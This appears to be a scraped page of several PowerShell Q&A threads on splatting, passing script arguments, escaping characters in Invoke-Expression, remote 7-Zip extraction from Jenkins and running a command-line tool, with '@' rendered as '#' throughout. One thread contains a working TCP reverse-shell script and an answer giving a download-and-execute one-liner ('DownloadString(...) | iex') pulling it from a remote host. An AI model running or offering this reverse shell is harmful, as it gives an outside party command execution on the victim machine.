Splatting Missing '=' operator after key in hash literal was incomplete? - powershell

I'm trying to execute this script using Splatting for the remote server (through PowerShell ISE).
However, it is always stuck and failed.
I've followed the suggestion as in https://www.ibm.com/support/knowledgecenter/en/SSKMKU/com.ibm.wincollect.doc/t_ug_wincollect_cli_install.html
Script:
$Args = #{
'EXE'='\\PRDFS01-VM\DSL\wincollect-7.3.0-24.x64.exe'
'INSTALLDIR'='C:\Program Files\IBM\WinCollect\'
'LOG_SOURCE_AUTO_CREATION_ENABLED'='True'
'LOG_SOURCE_AUTO_CREATION_PARAMETERS'=""
'Component1.AgentDevice'='DeviceWindowsLog'
'Component1.Action'='create'
'Component1.LogSourceName'="$env:COMPUTERNAME"
'Component1.LogSourceIdentifier'="$env:COMPUTERNAME"
'Component1.Dest.Name'='IBMQradar'
'Component1.Dest.Hostname'='192.168.111.111'
'Component1.Dest.Port'='514'
'Component1.Dest.Protocol'='TCP'
'Component1.Log.Security'='true'
'Component1.Log.System'='true'
'Component1.Log.Application'='true'
'Component1.Log.DNS+Server'='true'
'Component1.Log.File+Replication+Service'='true'
'Component1.Log.Directory+Service'='true'
'Component1.RemoteMachinePollInterval'='3000'
'Component1.EventRateTuningProfile'='Default+(Endpoint)'
'Component1.MinLogsToProcessPerPass'='100'
'Component1.MaxLogsToProcessPerPass'='150'
}
$process = Start-Process -ArgumentList "/s" "/v" "/qn" #Args -Wait -PassThru
$process.ExitCode
Error:
At line:9 char:15
+ Component1.Action=create
+ ~
Missing '=' operator after key in hash literal.
At line:29 char:18
+ $process.ExitCode
+ ~
Missing '=' operator after key in hash literal.
At line:29 char:18
+ $process.ExitCode
+ ~
The hash literal was incomplete.
+ CategoryInfo : ParserError: (:) [], ParseException
+ FullyQualifiedErrorId : MissingEqualsInHashLiteral
OK, after updating it as above, now the error is different:
Start-Process : A positional parameter cannot be found that accepts argument '/qn'.
At line:25 char:12
+ $process = Start-Process -ArgumentList "/s" "/v" "/qn" #Args -Wait -P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Start-Process], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.StartProcessCommand

Hashtable keys cannot contain dots unless you quote them.
This doesn't work.
$Args = #{
EXE='\\PRDFS01-VM\DSL\wincollect-7.3.0-24.x64.exe /s /v"/qn'
Component1.Action=create
}
This does (note that create also requires quotes)
$Args = #{
EXE='\\PRDFS01-VM\DSL\wincollect-7.3.0-24.x64.exe /s /v"/qn'
'Component1.Action'='create'
}
ISE will actually even give you syntax errors about this, so I'm not quite sure how that went unnoticed.

Related

How to call a powershell script to another powershell script with arguments?

I just need to call another script and pass the parameters to it.
I tried doing invoke-expression to access it, i tried using &, and nothing worked
I tried doing the following:
$hostfile = "C:\Users\username\Desktop\csvfile_test.csv"
$outFile = ".\testerFile.xlsx"
& '.\organizer.ps1' "-csvFile $hostfile -outputPath $outFile "
Invoke-Expression 'C:\Users\username\Desktop\organizer.ps1' "$hostfile $outFile"
I receive the following errors:.
with ampersand (&):
PS C:\Users\username\Desktop> C:\Users\username\Desktop\scanner.ps1
Exception calling "ReadLines" with "1" argument(s): "The given path's format is not supported."
At C:\Users\username\Desktop\scanner.ps1:48 char:1
+ [System.IO.File]::ReadLines("$csvFile") | ForEach-Object {
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : NotSupportedException
with invoke-expression:
Exception calling "ReadLines" with "1" argument(s): "The given path's format is not supported."
At C:\Users\username\Desktop\scanner.ps1:48 char:1
+ [System.IO.File]::ReadLines("$csvFile") | ForEach-Object {
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : NotSupportedException
Invoke-Expression : A positional parameter cannot be found that accepts argument 'C:\Users\username\Desktop\csvfile_test.csv .\testerFile.xlsx'.
At C:\Users\username\Desktop\scanner.ps1:69 char:1
+ Invoke-Expression 'C:\Users\username\Desktop\organizer.ps1' "$host ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Expression], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.InvokeExpressionCommand
When you write this:
& '.\organizer.ps1' "-csvFile $hostfile -outputPath $outFile "
you are passing a single parameter to the script (one quoted string). That's not what you want.
This is what you need:
$hostfile = "C:\Users\username\Desktop\csvfile_test.csv"
$outFile = ".\testerFile.xlsx"
.\organizer.ps1 -csvFile $hostfile -outputPath $outFile
First, you don't need the & (invocation) operator because your command name (the organizer.ps1 script in the current location, in this example) doesn't contain spaces. (You can add it if you want, but it's unnecessary in this scenario.)
Second, the -csvFile and -outputPath parameters each require a string.

How to escape "at sign" (#) in Invoke-Expression -Command?

When I run this command in command-line, it works as expected:
C:\>p4 changes #2019/01/16,#now
...
But when I use it in powershell script, I can't get it working.
First attempt:
PS C:\> Invoke-Expression -Command "p4 changes #2018/01/16, #now"
Invoke-Expression : At line:1 char:25
+ p4 changes #2018/01/16, #now
+ ~~~~
Splatted variables like '#now' cannot be part of a comma-separated list of arguments.
At line:1 char:1
+ Invoke-Expression -Command "p4 changes #2018/01/16, #now"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : SplattingNotPermittedInArgumentList,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Escaping comma (successfully):
PS C:\> Invoke-Expression -Command "p4 changes #2018/01/16',' #now"
p4 : Unintelligible revision specification '2018/01/16'.
At line:1 char:1
+ p4 changes #2018/01/16',' #now
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (Unintelligible ...n '2018/01/16'.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Now I think the problem is in "at character" ("#") being interpreted on some level. But I've failed to escape it using multiple methods. How to achieve this?
UPD Testing your ideas:
Grave Accent:
PS C:\> Invoke-Expression -Command "p4 changes `#2018/01/16',' `#now"
p4 : Unintelligible revision specification '2018/01/16'.
At line:1 char:1
+ p4 changes #2018/01/16',' #now
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (Unintelligible ...n '2018/01/16'.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Single quote (problem with comma):
PS C:\> Invoke-Expression -Command 'p4 changes #2018/01/16, #now'
Invoke-Expression : At line:1 char:25
+ p4 changes #2018/01/16, #now
+ ~~~~
Splatted variables like '#now' cannot be part of a comma-separated list of arguments.
At line:1 char:1
+ Invoke-Expression -Command 'p4 changes #2018/01/16, #now'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : SplattingNotPermittedInArgumentList,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Stop using double quotes, if you have no expandable content then use single quotes. See documentation for about_Quoting_Rules
Otherwise it's as others have said, use the backtick (`).
Working solution:
$cmd = #'
p4 changes #2018/01/16','#now
'#;
Invoke-Expression $cmd

Escape space and resolve variable in Jenkins powershell script not working

I tried different ways to escape the space in "Program Files" but this is not working. I receive the following error in Jenkins after this part is executed:
powershell.exe : FileStream was asked to open a device that was not a file. For support for devices like 'com1:' or 'lpt1:', call At
C:\web\JenkinsMaster\workspace\XXX#tmp\durable-d3011838\powershellWrapper.ps1:5
char:3
+ & powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Fi ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (FileStream was ... 'lpt1:', call :String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError CreateFile, then use the FileStream constructors that take an OS handle as an IntPtr.
CategoryInfo : OpenError: (:) [Out-File], NotSupportedException
FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand
PSComputerName : XXXXX
powershell script: '''
$pass = ConvertTo-SecureString -AsPlainText "XXXX" -Force
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList "XXXX",$pass
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$session = New-PSSession -ComputerName XXXXXXXX -UseSSL -Credential $cred -SessionOption $sessionOption
Copy-Item $env:WORKSPACE\\* -Destination "C:\\data\\install\\" -Filter *TEST* -Recurse -Force -Verbose -ToSession $session
$filename = $env:JOB_NAME + "_" + $env:BUILD_DISPLAY_NAME + "_wwwroot.7z"
Invoke-Command -Session $session -ScriptBlock {cmd /c "C:\\Program Files\\7-Zip\\7z.exe\\" x C:\\Data\\Install\\$filename -oC:\\data\\install\\test -aoa >NUL}
Remove-PSSession $session
Exit-PSSession
'''
If I change the Invoke-Command to the following, the Program Files directory seems to be resolved correctly, but then the variable $filename is not resolved anymore.
Invoke-Command -Session $session -ScriptBlock {cmd /c \'"C:\\Program Files\\7-Zip\\7z.exe" x C:\\Data\\Install\\$filename -oC:\\data\\install\\test -aoa >NUL'}
powershell.exe : NotSpecified: (:String) [], RemoteException At
C:\web\Jenkins\workspace\XXX#tmp\durable-53dbead2\powershellWrapper.ps1:5
char:3
+ & powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Fi ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (NotSpecified: (...RemoteException:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
CategoryInfo : NotSpecified: (:String) [], RemoteException
FullyQualifiedErrorId : NativeCommandError
PSComputerName : XXXXX
ERROR: The system cannot find the file specified.
C:\Data\Install\$filename
System ERROR:
The system cannot find the file specified.
Hopefully you can assist me in this case! The rest of the commands is working fine.
Thanks!
The 7z.exe path in your first command has an extraneous trailing \, which causes problems:
cmd /c "C:\\Program Files\\7-Zip\\7z.exe\\" # <- trailing \\ shouldn't be there
In your 2nd command, you're using single quotes around the command passed to cmd /c ('...'), but the contents of '...' strings in PowerShell are treated as literals, which explains why $fileName was not expanded (interpolated);
only double-quoted ("...") strings and, within limits, unquoted command arguments are expanded in PowerShell; e.g., compare the output from Write-Output '$HOME' to the output from Write-Output "$HOME" / Write-Output $HOME.
As iRon mentions, there's no need to involve cmd at all - PowerShell is perfectly capable of executing command-line programs directly, so this should work:
Invoke-Command -Session $session -ScriptBlock { & "C:\\Program Files\\7-Zip\\7z.exe" x C:\\Data\\Install\\$using:filename -oC:\\data\\install\\test -aoa >$null }
Due to invoking 7z.exe directly, now there's no outer quoting needed anymore, and $fileName should be expanded.
Note, however, that $fileName was replaced with $using:fileName, which is necessary in order for the target session to know about the local $fileName variable - see Get-Help about_Remote_Variables.
Since the 7z.exe file path is quoted (of necessity, due to containing spaces), you must use &, the call operator, to invoke it.
Since the > redirection is now performed by PowerShell itself, the cmd-style >NUL output suppression was replaced with its PowerShell analog, >$null.
I wonder if it necessarily at all to invoke a CMD shell for this.
I guess it would be simpler to directly invoke the 7z.exe with its parameters.
Nevertheless, you can build you own script block like this:
[ScriptBlock]::Create('cmd /c "C:\\Program Files\\7-Zip\\7z.exe" x C:\\Data\\Install\\' + $filename + ' -oC:\\data\\install\\test -aoa >NUL')

PowerShell issue to invoke shell

Im trying to get a shell in my Win10 virtual machine but i get these
errors.
PS C:\Users\Diego Sepu> IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.69/r.ps1')
IEX : At line:13 char:39
... s.TCPClient("192.168.1.69\'94,8080)).GetStream();[byte[]]$bt=0..65535 ...
The string is missing the terminator: ".
At line:14 char:2
}
~
Missing closing ')' in expression.
At line:1 char:1
{\rtf1\ansi\ansicpg1252\cocoartf1504\cocoasubrtf820
~
Missing closing '}' in statement block or type definition.
At line:1 char:1
IEX (New-Object Net.WebClient).DownloadString(...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
FullyQualifiedErrorId : TerminatorExpectedAtEndOfString,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Code:
$sm=(New-Object Net.Sockets.TCPClient("192.168.1.69",8080)).GetStream()
[byte[]]$bt=0..65535|%{0}
while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0)
{
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i)
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1))
$sm.Write($st,0,$st.Length)
}
(new-object Net.WebClient).DownloadString("http://192.168.1.69:8080/r.ps1") | iex
Try doing downloadstring first then piping the results into invoke-espression In your original screenshot you aren't invoking the contents of r.ps1 infact you are attempting to invoke the download itself. By piping the results of DownloadStringthe actual contents of r.ps1 will be extecute

powershell execute command and return value

this is probably an easy answer for you experts but not sure the best command to use. I want to execute the following command from within powershell :
stccmd -rh sldcege-mie003 -rs nsccahs_dev -un Administrator -up STC -cb nsccahs_dev_cb -cmd "status bobRRC_ADT_OUT_FMT"
and return the result.
The code i have so far is :
$sCmd = #'
"stccmd -rh sldcege-mie003 -rs nsccahs_dev -un Administrator -up STC -cb
nsccahs_dev_cb -cmd '\"status bobRRC_ADT_OUT_FMT\"'"
'#
$Result = Invoke-Command $sCmd | Out-String
The error i am getting is :
Invoke-Command : Parameter set cannot be resolved using the specified named par
ameters.
At E:\Andrew\MonitoreGate.ps1:20 char:25
+ $Result = Invoke-Command <<<< $sCmd | Out-String
+ CategoryInfo : InvalidArgument: (:) [Invoke-Command], Parameter
BindingException
+ FullyQualifiedErrorId : AmbiguousParameterSet,Microsoft.PowerShell.Comma
nds.InvokeCommandCommand
If i use Invoke-Expression, instead i get the following :
Invoke-Expression : Unexpected token 'status' in expression or statement.
At E:\Andrew\MonitoreGate.ps1:20 char:28
+ $Result = Invoke-Expression <<<< $sCmd | Out-String
+ CategoryInfo : ParserError: (status:String) [Invoke-Expression]
, ParseException
+ FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.In
vokeExpressionCommand
Should i be using Invoke-Command or Invoke-Expression or some other way? Is the $sCmd structure correct in regards to quotes?
The program is to run on same machine (not remotely).
Any help greatly appreciated,
Andrew
neither, instead use:
Start-Process -FilePath 'path_to_stccmd.exe' -ArgumentList "-rh sldcege-mie003 -rs nsccahs_dev -un Administrator -up STC -cb nsccahs_dev_cb -cmd 'status bobRRC_ADT_OUT_FMT'" -nonewwindow
if you dont see the output using the above...try this:
$exepath = 'path_to_stccmd.exe'
&$exepath arguments